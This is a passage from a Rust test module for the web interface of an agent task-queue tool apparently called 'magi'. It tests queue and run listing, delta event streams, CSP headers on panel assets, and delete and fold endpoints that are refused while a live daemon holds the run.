12983 let warning = warning.expect("a fallback has to explain itself");
12984 assert!(
12985 warning.contains("127.0.0.1") && warning.contains("local-only"),
12986 "the warning says what happened and what it costs: {warning}"
12987 );
12988 }
12989 }
12990 }
12991
12992 #[test]
12993 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12994 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12998 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12999 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13000 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13001 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13002 }
13003
13004 #[test]
13005 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13006 let ids = vec![
13007 "20260902-140501-aaaa".to_owned(),
13008 "20260902-140502-aabb".to_owned(),
13009 ];
13010
13011 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13012 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13013 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13014
13015 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13016 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13017 assert_eq!(short, "20260902-140502-aabb");
13018 }
13019 #[tokio::test]
13020 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13021 let fx = Fixture::start().await;
13027 let id = panel(
13028 &fx,
13029 "<img src=\"shot.png\">",
13030 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13031 );
13032
13033 let doc = fx
13035 .get(&format!("/api/questions/{id}/panel/index.html"))
13036 .await;
13037 assert_eq!(doc.status, 200, "{}", doc.body);
13038 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13039
13040 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13041 assert_eq!(sibling.status, 200, "{}", sibling.body);
13042 assert_eq!(sibling.header("content-type"), Some("image/png"));
13043 assert_eq!(
13044 sibling.header("content-security-policy"),
13045 Some(PANEL_CSP),
13046 "the sibling route must carry the same policy as the asset route"
13047 );
13048
13049 assert_eq!(
13052 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13053 200
13054 );
13055 }
13056
13057 #[test]
13058 fn delta_stamps_cover_add_update_remove_and_noop() {
13059 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13060 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13061 let delta = diff_stamps(&before, &after, 42);
13062 assert_eq!(delta.base, 42);
13063 assert_eq!(delta.changed, ["b", "c"]);
13064 assert_eq!(delta.removed, ["a"]);
13065 let same = diff_stamps(&after, &after, 43);
13066 assert!(same.changed.is_empty() && same.removed.is_empty());
13067 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13068 let nanos: Stamps = [("b".into(), (2, 20))].into();
13069 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13070 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13071 assert_eq!(stamps_revision(&Stamps::new()), 0);
13072 }
13073
13074 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13075 std::fs::create_dir_all(home.join("runs")).unwrap();
13076 Arc::new(Ui::new(
13077 Queue::at(home.join("queue")),
13078 Questions::at(home.join("questions")),
13079 Talks::at(home.join("talks")),
13080 home.join("runs"),
13081 home.to_owned(),
13082 PathBuf::from("/repo/magi"),
13083 ))
13084 }
13085
13086 #[tokio::test]
13087 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13088 let home = TempDir::new().unwrap();
13089 let ui = delta_test_ui(home.path());
13090 let mut task = Task::new(
13091 "stream task".into(),
13092 "text".into(),
13093 PathBuf::from("/repo"),
13094 Source::Human,
13095 );
13096 ui.queue.put(&mut task).unwrap();
13097 let response = events(State(ui.clone())).await.into_response();
13098 let mut stream = response.into_body().into_data_stream();
13099 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13100 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13101 .await
13102 .unwrap()
13103 .unwrap()
13104 .unwrap();
13105 let text = String::from_utf8(chunk.to_vec()).unwrap();
13106 let data = text
13107 .lines()
13108 .find_map(|line| {
13109 line.strip_prefix("data: ")
13110 .or_else(|| line.strip_prefix("data:"))
13111 })
13112 .unwrap();
13113 serde_json::from_str(data).unwrap()
13114 }
13115 let initial = change(&mut stream).await;
13116 assert!(initial.get("queue_delta").is_none());
13117 task.instruction.push_str(" changed");
13118 ui.queue.put(&mut task).unwrap();
13119 let updated = change(&mut stream).await;
13120 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13121 assert_eq!(
13122 updated["queue_delta"]["changed"],
13123 serde_json::json!([task.id])
13124 );
13125 assert_eq!(
13126 updated["queue_rev"].as_u64(),
13127 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13128 );
13129 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13130 let removed = change(&mut stream).await;
13131 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13132 assert_eq!(
13133 removed["queue_delta"]["removed"],
13134 serde_json::json!([task.id])
13135 );
13136 }
13137
13138 #[tokio::test]
13139 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13140 let home = TempDir::new().unwrap();
13141 let ui = delta_test_ui(home.path());
13142 let queue = ui.queue.clone();
13143 let query = |ids: Option<&str>| {
13144 Query(ListQuery {
13145 limit: Some(2),
13146 ids: ids.map(str::to_owned),
13147 })
13148 };
13149 let mut root = Task::new(
13150 "root".into(),
13151 "instruction".into(),
13152 PathBuf::from("/repo"),
13153 Source::Human,
13154 );
13155 queue.put(&mut root).unwrap();
13156 let mut blocked = Task::new(
13157 "blocked".into(),
13158 "instruction".into(),
13159 PathBuf::from("/repo"),
13160 Source::Human,
13161 );
13162 blocked.block(vec![root.id.clone()], None);
13163 queue.put(&mut blocked).unwrap();
13164 let whole =
13165 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13166 .unwrap();
13167 let subset = serde_json::to_value(
13168 queue_list(State(ui.clone()), query(Some(&root.id)))
13169 .await
13170 .unwrap()
13171 .0,
13172 )
13173 .unwrap();
13174 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13175 let blockers = serde_json::to_value(
13176 queue_list(State(ui.clone()), query(Some("")))
13177 .await
13178 .unwrap()
13179 .0,
13180 )
13181 .unwrap();
13182 assert_eq!(blockers.as_array().unwrap().len(), 1);
13183 assert_eq!(blockers[0]["id"], blocked.id);
13184 assert_eq!(
13185 blockers[0]["waits_on"],
13186 whole
13187 .as_array()
13188 .unwrap()
13189 .iter()
13190 .find(|row| row["id"] == blocked.id)
13191 .unwrap()["waits_on"]
13192 );
13193
13194 for id in [
13195 "20260902-140501-aaaa",
13196 "20260902-140502-bbbb",
13197 "20260902-140503-cccc",
13198 ] {
13199 write_run(&ui.runs, id, RunStatus::Merged);
13200 }
13201 let old = serde_json::to_value(
13202 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13203 .await
13204 .unwrap()
13205 .0,
13206 )
13207 .unwrap();
13208 assert!(
13209 old.as_array().unwrap().is_empty(),
13210 "older updates must not enter the window"
13211 );
13212 let newest = serde_json::to_value(
13213 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13214 .await
13215 .unwrap()
13216 .0,
13217 )
13218 .unwrap();
13219 assert_eq!(newest.as_array().unwrap().len(), 1);
13220 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13221
13222 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13223 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13224 let talks = serde_json::to_value(
13225 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13226 .await
13227 .unwrap()
13228 .0,
13229 )
13230 .unwrap();
13231 assert_eq!(talks.as_array().unwrap().len(), 1);
13232 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13233 assert_eq!(
13234 serde_json::to_value(
13235 talks_list(State(ui.clone()), query(Some("")))
13236 .await
13237 .unwrap()
13238 .0
13239 )
13240 .unwrap(),
13241 serde_json::json!([])
13242 );
13243 }
13244
13245 #[tokio::test]
13246 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13247 async fn delta_payload_benchmark() {
13248 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13249 let ui = delta_test_ui(&home);
13250 let query = |ids: Option<String>| {
13251 Query(ListQuery {
13252 limit: Some(50),
13253 ids,
13254 })
13255 };
13256 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13257 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13258 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13259 let queue_id = queue
13260 .iter()
13261 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13262 .unwrap_or(&queue[0])
13263 .task
13264 .id
13265 .clone();
13266 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13267 .await
13268 .unwrap()
13269 .0;
13270 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13271 .await
13272 .unwrap()
13273 .0;
13274 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13275 .await
13276 .unwrap()
13277 .0;
13278 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13279 eprintln!(
13280 "DELTA_PAYLOAD {}",
13281 serde_json::json!({
13282 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13283 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13284 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13285 "counts": [queue.len(), runs.len(), talks.len()],
13286 "blocked": queue_delta.len() - 1,
13287 })
13288 );
13289 }
13290
13291 #[test]
13292 fn runs_revision_moves_when_deleting_an_older_run() {
13293 let temp = TempDir::new().expect("tempdir");
13294 let runs = temp.path().join("runs");
13295 std::fs::create_dir_all(&runs).expect("create runs dir");
13296
13297 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13298
13299 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13300 std::thread::sleep(Duration::from_millis(10));
13301 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13302
13303 let rev_before = runs_revision(&runs);
13304 assert!(rev_before > 0);
13305
13306 let old_dir = runs.join("20260901-100000-old1");
13307 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13308
13309 let rev_after = runs_revision(&runs);
13310 assert_ne!(
13311 rev_before, rev_after,
13312 "deleting an older run must change the revision so other clients see the deletion"
13313 );
13314 }
13315
13316 fn write_state(runs: &FsPath, state: &RunState) {
13321 let dir = runs.join(&state.id);
13322 std::fs::create_dir_all(&dir).expect("run dir");
13323 std::fs::write(
13324 dir.join("run.json"),
13325 serde_json::to_string_pretty(state).expect("serialize run"),
13326 )
13327 .expect("write run.json");
13328 }
13329
13330 #[test]
13335 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13336 let temp = TempDir::new().expect("tempdir");
13337 let runs = temp.path().join("runs");
13338 std::fs::create_dir_all(&runs).expect("create runs dir");
13339 let mut state = RunState::new(
13340 PathBuf::from("/repo/magi"),
13341 "main".to_owned(),
13342 "0123456789abcdef".to_owned(),
13343 "task".to_owned(),
13344 Config::default(),
13345 );
13346 state.id = "20260902-100000-c0de".to_owned();
13347 write_state(&runs, &state);
13348
13349 let rev_idle = runs_revision(&runs);
13350 std::thread::sleep(Duration::from_millis(10));
13351 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13352 write_state(&runs, &state);
13353 let rev_started = runs_revision(&runs);
13354 assert_ne!(
13355 rev_idle, rev_started,
13356 "a seat starting must move the revision"
13357 );
13358
13359 std::thread::sleep(Duration::from_millis(10));
13360 state.seat_finished("judge-1");
13361 write_state(&runs, &state);
13362 let rev_finished = runs_revision(&runs);
13363 assert_ne!(
13364 rev_started, rev_finished,
13365 "and clearing it again must move the revision a second time"
13366 );
13367 }
13368
13369 #[tokio::test]
13370 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13371 let fx = Fixture::start().await;
13376 let q = fx.queue();
13377
13378 let mut t = Task::new(
13379 "Task".to_owned(),
13380 "Instruction".to_owned(),
13381 PathBuf::from("/repo"),
13382 Source::Human,
13383 );
13384 t.block(
13385 vec!["20260101-000000-dead".to_owned()],
13386 Some("waiting on Task 1".to_owned()),
13387 );
13388 t.answers.push(crate::queue::AnsweredQuestion {
13389 question: "Which backend?".to_owned(),
13390 answer: "SQLite".to_owned(),
13391 });
13392 q.put(&mut t).expect("put t");
13393
13394 let res = fx.get("/api/queue").await;
13395 assert_eq!(res.status, 200);
13396 let list = res.json();
13397 let view = list
13398 .as_array()
13399 .expect("array")
13400 .iter()
13401 .find(|v| v["id"] == t.id)
13402 .expect("task in list");
13403 assert_eq!(view["status_str"], "blocked");
13404 assert_eq!(
13405 view["blocked_by"],
13406 serde_json::json!(["20260101-000000-dead"])
13407 );
13408 assert_eq!(view["block_reason"], "waiting on Task 1");
13409 assert_eq!(view["answers"][0]["question"], "Which backend?");
13410 assert_eq!(view["answers"][0]["answer"], "SQLite");
13411
13412 let res = fx
13416 .post(&format!("/api/queue/{}/hold", t.short()), None)
13417 .await;
13418 assert_eq!(res.status, 200);
13419 let held = res.json();
13420 assert_eq!(held["status_str"], "held");
13421 assert_eq!(held["blocked_by"], serde_json::json!([]));
13422 assert!(held["block_reason"].is_null());
13423 assert_eq!(held["answers"][0]["answer"], "SQLite");
13424 }
13425
13426 #[tokio::test]
13427 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13428 let fx = Fixture::start().await;
13429 let q = fx.queue();
13430 let mk = |title: &str| {
13431 Task::new(
13432 title.to_owned(),
13433 "Instruction".to_owned(),
13434 PathBuf::from("/repo"),
13435 Source::Human,
13436 )
13437 };
13438 let mut root = mk("root");
13439 root.hold_manual(Some("waiting".to_owned()));
13440 q.put(&mut root).unwrap();
13441 let mut mid = mk("mid");
13442 mid.block(vec![root.id.clone()], None);
13443 q.put(&mut mid).unwrap();
13444 let mut leaf = mk("leaf");
13445 leaf.block(vec![mid.id.clone()], None);
13446 q.put(&mut leaf).unwrap();
13447
13448 let list = fx.get("/api/queue").await.json();
13449 let find = |id: &str| {
13450 list.as_array()
13451 .unwrap()
13452 .iter()
13453 .find(|v| v["id"] == id)
13454 .unwrap()
13455 .clone()
13456 };
13457 let leaf_view = find(&leaf.id);
13458 assert_eq!(
13459 leaf_view["waits_on"],
13460 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13461 );
13462 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13463 assert_eq!(
13464 find(&mid.id)["waits_on"],
13465 serde_json::json!([format!("{} (held)", root.short())])
13466 );
13467 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13468 }
13469
13470 #[tokio::test]
13471 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13472 let fx = Fixture::start().await;
13473 let q = fx.queue();
13474
13475 let mut t1 = Task::new(
13477 "Task 1".to_owned(),
13478 "Instruction 1".to_owned(),
13479 PathBuf::from("/repo"),
13480 Source::Human,
13481 );
13482 let run_id = "20260901-000000-r111";
13483 t1.runs.push(run_id.to_owned());
13484 write_run(&fx.runs(), run_id, RunStatus::Merged);
13485 q.put(&mut t1).expect("put t1");
13486
13487 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13489 assert_eq!(res.status, 204);
13490 assert!(res.body.is_empty(), "204 No Content has no body");
13491 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13492 assert!(
13493 fx.runs().join(run_id).exists(),
13494 "run directory must not be deleted when its task is deleted"
13495 );
13496
13497 let mut t2 = Task::new(
13499 "Task 2".to_owned(),
13500 "Instruction 2".to_owned(),
13501 PathBuf::from("/repo"),
13502 Source::Human,
13503 );
13504 t2.status = TaskStatus::Running;
13505 q.put(&mut t2).expect("put t2");
13506 let mut beat = crate::daemon::Status::new();
13507 beat.current = vec![crate::daemon::Current {
13508 task: t2.id.clone(),
13509 run: "20260901-000000-r222".to_owned(),
13510 }];
13511 beat.updated_at = jiff::Timestamp::now();
13512 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13513 .expect("publish a heartbeat");
13514 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13515 assert_eq!(res.status, 409);
13516 assert!(
13517 res.json()["error"]
13518 .as_str()
13519 .unwrap()
13520 .contains("live daemon")
13521 );
13522 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13523
13524 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13530 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13531 .expect("leave a stale heartbeat");
13532 let mut t3 = Task::new(
13533 "Task 3".to_owned(),
13534 "Instruction 3".to_owned(),
13535 PathBuf::from("/repo"),
13536 Source::Human,
13537 );
13538 t3.status = TaskStatus::Running;
13539 q.put(&mut t3).expect("put t3");
13540 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13541 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13542 assert_eq!(res.status, 204);
13543 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13544 assert!(
13545 q.claim(&t3.id).is_ok(),
13546 "the stale lock went with it, so the id is claimable again"
13547 );
13548
13549 let res = fx.delete("/api/queue/nonexistent").await;
13551 assert_eq!(res.status, 404);
13552 }
13553
13554 #[tokio::test]
13555 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13556 let fx = Fixture::start().await;
13557 let runs = fx.runs();
13558
13559 let run_id = "20260901-000000-fold";
13561 let mut state = RunState::new(
13562 PathBuf::from("/repo"),
13563 "main".to_owned(),
13564 "abc".to_owned(),
13565 "instruction".to_owned(),
13566 Config::default(),
13567 );
13568 state.id = run_id.to_owned();
13569 state.status = RunStatus::Merged;
13570 state.candidates.push(crate::run::Candidate {
13571 index: 0,
13572 label: 'A',
13573 agent: "a".to_owned(),
13574 branch: "b".to_owned(),
13575 worktree: PathBuf::from("/w"),
13576 summary: String::new(),
13577 stat: String::new(),
13578 files: 1,
13579 commits: 1,
13580 empty: false,
13581 failed: None,
13582 verified_noop: None,
13583 duration_ms: 0,
13584 folded: true,
13585 });
13586 let dir = runs.join(run_id);
13587 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13588 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13589 .expect("write artifact");
13590 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13591 .expect("write run.json");
13592
13593 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13595 assert_eq!(res.status, 204);
13596 assert!(res.body.is_empty(), "204 has no body");
13597 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13598
13599 let run_running = "20260901-000000-rung";
13604 write_run(&runs, run_running, RunStatus::Prep);
13605 let mut beat = crate::daemon::Status::new();
13606 beat.current = vec![crate::daemon::Current {
13607 task: "20260901-000000-task".to_owned(),
13608 run: run_running.to_owned(),
13609 }];
13610 beat.updated_at = jiff::Timestamp::now();
13611 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13612 .expect("publish a heartbeat");
13613 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13614 assert_eq!(res.status, 409);
13615 assert!(
13616 res.json()["error"]
13617 .as_str()
13618 .unwrap()
13619 .contains("live daemon"),
13620 "the refusal must say who is holding it"
13621 );
13622 assert!(
13623 runs.join(run_running).exists(),
13624 "a run in flight keeps its directory"
13625 );
13626
13627 let run_unfolded = "20260901-000000-unfd";
13629 let mut state2 = RunState::new(
13630 PathBuf::from("/repo"),
13631 "main".to_owned(),
13632 "abc".to_owned(),
13633 "instruction".to_owned(),
13634 Config::default(),
13635 );
13636 state2.id = run_unfolded.to_owned();
13637 state2.status = RunStatus::Ready;
13638 state2.candidates.push(crate::run::Candidate {
13639 index: 0,
13640 label: 'A',
13641 agent: "a".to_owned(),
13642 branch: "b".to_owned(),
13643 worktree: PathBuf::from("/w"),
13644 summary: String::new(),
13645 stat: String::new(),
13646 files: 1,
13647 commits: 1,
13648 empty: false,
13649 failed: None,
13650 verified_noop: None,
13651 duration_ms: 0,
13652 folded: false,
13653 });
13654 let dir2 = runs.join(run_unfolded);
13655 std::fs::create_dir_all(&dir2).expect("create dir2");
13656 std::fs::write(
13657 dir2.join("run.json"),
13658 serde_json::to_string(&state2).unwrap(),
13659 )
13660 .expect("write run.json");
13661
13662 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13663 assert_eq!(res.status, 409);
13664 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13665 assert!(dir2.exists(), "unfolded run directory is kept");
13666
13667 let res = fx.delete("/api/runs/nonexistent").await;
13669 assert_eq!(res.status, 404);
13670 }
13671
13672 #[test]
13681 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13682 let start = APP_JS
13683 .find("function renderStats() {")
13684 .expect("renderStats");
13685 let end = start
13686 + APP_JS[start..]
13687 .find("function statsTile(")
13688 .expect("the next top-level function");
13689 let body = &APP_JS[start..end];
13690
13691 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13692 let gate_end = gate_start
13693 + body[gate_start..]
13694 .find("}\n renderStatsQueue")
13695 .expect("the gate's own closing brace, right before the unconditional call");
13696 let gated = &body[gate_start..gate_end];
13697
13698 assert_eq!(
13699 body.matches("renderStatsQueue(").count(),
13700 1,
13701 "renderStats must call renderStatsQueue exactly once: {body}"
13702 );
13703 assert!(
13704 !gated.contains("renderStatsQueue"),
13705 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13706 run-derived panels on an empty run history - the queue panel has to render \
13707 regardless: {gated}"
13708 );
13709 }
13710
13711 #[test]
13712 fn web_ui_delete_contract_in_front_end() {
13713 assert!(APP_JS.contains("deleteRun:"));
13715 assert!(APP_JS.contains("deleteTask:"));
13716
13717 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13719 ..APP_JS.find("function renderRuns").unwrap()];
13720 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13721
13722 assert!(APP_JS.contains("renderRunDelete"));
13724 assert!(APP_JS.contains("runDeleteReason"));
13725 assert!(APP_JS.contains("magi fold"));
13726 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13727
13728 assert!(APP_JS.contains("cancel.focus"));
13730 assert!(APP_JS.contains("armedRunDelete"));
13731 assert!(APP_JS.contains("renderTaskDeleteBox"));
13732 assert!(APP_JS.contains("armed${cap(key)}"));
13733
13734 assert!(APP_JS.contains("disabled: status === \"running\""));
13736 }
13737
13738 #[test]
13758 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13759 let build = APP_JS
13760 .find("function createRunCard")
13761 .expect("createRunCard exists");
13762 let update = APP_JS
13763 .find("function updateRunCard")
13764 .expect("updateRunCard exists");
13765 let end = APP_JS
13766 .find("function renderRuns")
13767 .expect("renderRuns exists");
13768
13769 let builder = &APP_JS[build..update];
13771 let open = builder.find("refs = {").expect("createRunCard sets refs");
13772 let literal = &builder[open + "refs = {".len()..];
13773 let close = literal.find('}').expect("the refs literal is closed");
13774 let published: HashSet<&str> = literal[..close]
13775 .split(',')
13776 .filter_map(|entry| entry.split(':').next())
13778 .map(str::trim)
13779 .filter(|name| !name.is_empty())
13780 .collect();
13781 assert!(
13782 published.len() > 5,
13783 "the refs literal did not parse into names: {published:?}"
13784 );
13785
13786 let mut used: Vec<&str> = Vec::new();
13789 let updaters = &APP_JS[update..end];
13790 for (at, _) in updaters.match_indices("r.") {
13791 let before = updaters[..at].chars().next_back();
13794 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13795 continue;
13796 }
13797 let rest = &updaters[at + 2..];
13798 let len = rest
13799 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13800 .unwrap_or(rest.len());
13801 if len > 0 {
13802 used.push(&rest[..len]);
13803 }
13804 }
13805 assert!(
13806 used.len() > 5,
13807 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13808 );
13809
13810 let missing: Vec<&str> = used
13811 .iter()
13812 .copied()
13813 .filter(|name| !published.contains(name))
13814 .collect();
13815 assert!(
13816 missing.is_empty(),
13817 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13818 never put in `refs` - every card will throw and the list will \
13819 render empty under a count line that says otherwise. Published: \
13820 {published:?}"
13821 );
13822 }
13823
13824 #[tokio::test]
13825 async fn folding_from_the_phone_reports_what_it_removed() {
13826 let fx = Fixture::start().await;
13827 let runs = fx.runs();
13828
13829 let id = "20260901-000000-fold";
13833 write_run(&runs, id, RunStatus::Stalled);
13834 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13835 assert_eq!(res.status, 200);
13836 assert_eq!(res.json()["removed_count"], 0);
13837 assert_eq!(res.json()["run"], id);
13838 assert!(
13839 runs.join(id).exists(),
13840 "a fold keeps the run's record; only the worktrees go"
13841 );
13842 }
13843
13844 #[tokio::test]
13845 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13846 let fx = Fixture::start().await;
13847 let runs = fx.runs();
13848 let wt = fx.home.path().join("wt").join("magi").join("dead");
13849 let id = "20260901-000000-dead";
13850 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13851 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13852 std::fs::create_dir_all(&wt).expect("worktree dir");
13853
13854 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13855 assert_eq!(res.status, 200, "{}", res.body);
13856 assert!(
13857 res.json()["removed_count"].as_u64().unwrap() > 0,
13858 "the worktree this build could not read a state for still went"
13859 );
13860 assert!(
13861 !runs.join(id).exists(),
13862 "an unreadable run has no candidate list to fold selectively, so \
13863 the whole record goes - same as `magi fold` on the CLI"
13864 );
13865 }
13866
13867 #[tokio::test]
13868 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13869 let fx = Fixture::start().await;
13870 let runs = fx.runs();
13871 let wt = fx.home.path().join("wt").join("magi").join("gone");
13872 let id = "20260901-000000-gone";
13873 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13874 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13875 std::fs::create_dir_all(&wt).expect("worktree dir");
13876
13877 let res = fx.delete(&format!("/api/runs/{id}")).await;
13878 assert_eq!(res.status, 204, "{}", res.body);
13879 assert!(!runs.join(id).exists(), "the broken record is gone");
13880 assert!(!wt.exists(), "its worktree is gone too");
13881 }
13882
13883 #[tokio::test]
13884 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13885 let fx = Fixture::start().await;
13886 let runs = fx.runs();
13887 let id = "20260901-000000-live";
13888 write_run(&runs, id, RunStatus::Implementing);
13889
13890 let mut beat = crate::daemon::Status::new();
13891 beat.current = vec![crate::daemon::Current {
13892 task: "20260901-000000-task".to_owned(),
13893 run: id.to_owned(),
13894 }];
13895 beat.updated_at = jiff::Timestamp::now();
13896 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13897 .expect("publish a heartbeat");
13898
13899 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13900 assert_eq!(res.status, 409);
13901 assert!(
13902 res.json()["error"]
13903 .as_str()
13904 .unwrap()
13905 .contains("live daemon"),
13906 "folding under a running agent would pull its worktree away"
13907 );
13908 }
13909
13910 #[tokio::test]
13911 async fn fold_merged_requires_a_pr_url() {
13912 let fx = Fixture::start().await;
13913 let runs = fx.runs();
13914 let id = "20260901-000000-nourl";
13915 write_run(&runs, id, RunStatus::Blocked);
13916
13917 let res = fx
13918 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13919 .await;
13920 assert_eq!(res.status, 400, "{}", res.body);
13921
13922 let blank = fx
13923 .post(
13924 &format!("/api/runs/{id}/fold-merged"),
13925 Some(r#"{"pr_url":" "}"#),
13926 )
13927 .await;
13928 assert_eq!(blank.status, 400, "{}", blank.body);
13929 }
13930
13931 #[tokio::test]
13932 async fn fold_merged_is_404_for_an_unknown_run() {
13933 let fx = Fixture::start().await;
13934 let res = fx
13935 .post(
13936 "/api/runs/nosuchrun/fold-merged",
13937 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13938 )
13939 .await;
13940 assert_eq!(res.status, 404, "{}", res.body);
13941 }
13942
13943 #[tokio::test]
13944 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13945 let fx = Fixture::start().await;
13946 let runs = fx.runs();
13947 let id = "20260901-000000-livemerge";
13948 write_run(&runs, id, RunStatus::Blocked);
13949
13950 let mut beat = crate::daemon::Status::new();
13951 beat.current = vec![crate::daemon::Current {
13952 task: "20260901-000000-task".to_owned(),
13953 run: id.to_owned(),
13954 }];
13955 beat.updated_at = jiff::Timestamp::now();
13956 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13957 .expect("publish a heartbeat");
13958
13959 let res = fx
13960 .post(
13961 &format!("/api/runs/{id}/fold-merged"),
13962 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13963 )
13964 .await;
13965 assert_eq!(res.status, 409, "{}", res.body);
13966 assert!(
13967 res.json()["error"]
13968 .as_str()
13969 .unwrap()
